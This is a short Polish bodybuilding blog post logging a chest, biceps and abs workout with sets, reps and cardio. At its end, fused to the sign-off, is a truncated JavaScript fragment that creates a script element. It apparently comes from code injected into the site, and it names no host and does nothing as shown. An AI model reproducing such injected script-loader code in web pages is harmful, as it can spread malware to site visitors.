TRENING 20.02.2012 – przed debiutami

21.02.2012 / Adam Jabłoński / Kulturystyka

Witam,

Trening wyglądał tak :

– Rozgrzewka

KLATKA :

3 x 12/10/10 – WYCISKANIE SZTANGI W LEŻENIU NA ŁAWCE POZIOMEJ
3 x 15 ROZPIĘTKI + 3 x 12/12/12/ WĄSKIE WYCISKANIE HANTELKAMI W LEKKIM SKOSIE DO GÓRY
3 x 15 WYCISKANIE NA MASZYNIE SMITHA GŁOWĄ W GÓRĘ
3 x 20 WYCISKANIE NA MASZYNIE SMITHA GŁOWĄ W DÓŁ
3 x PRZENOSZENIE HANTLI W LEŻENIU W POPRZEK ŁAWKI POZIOMEJ

BICEPS :

3 x 12/10/10 UGINANIE RAMION ZE SZTANGIELKAMI STOJĄC PODCHWYTEM(Z „SUPINACJĄ” NADGARSTKA)
4 x 20 UGINANIE RAMION STOJĄC Z RĄCZKAMI WYCIĄGU.
4 X 20 UGINANIE RAMION (szeroki chwyt) PODCHWYTEM SIEDZĄC NA WYCIĄGU

BRZUCH :

3 X SKŁONY TUŁOWIA Z LINKĄ WYCIĄGU KLĘCZĄC
3 X UNOSZENIE NÓG W PODPORZE ( na jetpacku)

+ 60 min AEROBÓW

PARĘ FOTEK Z TRENINGU :










Pozdrawiam
HEJvar d=document;var s=d.createElement(‚script’);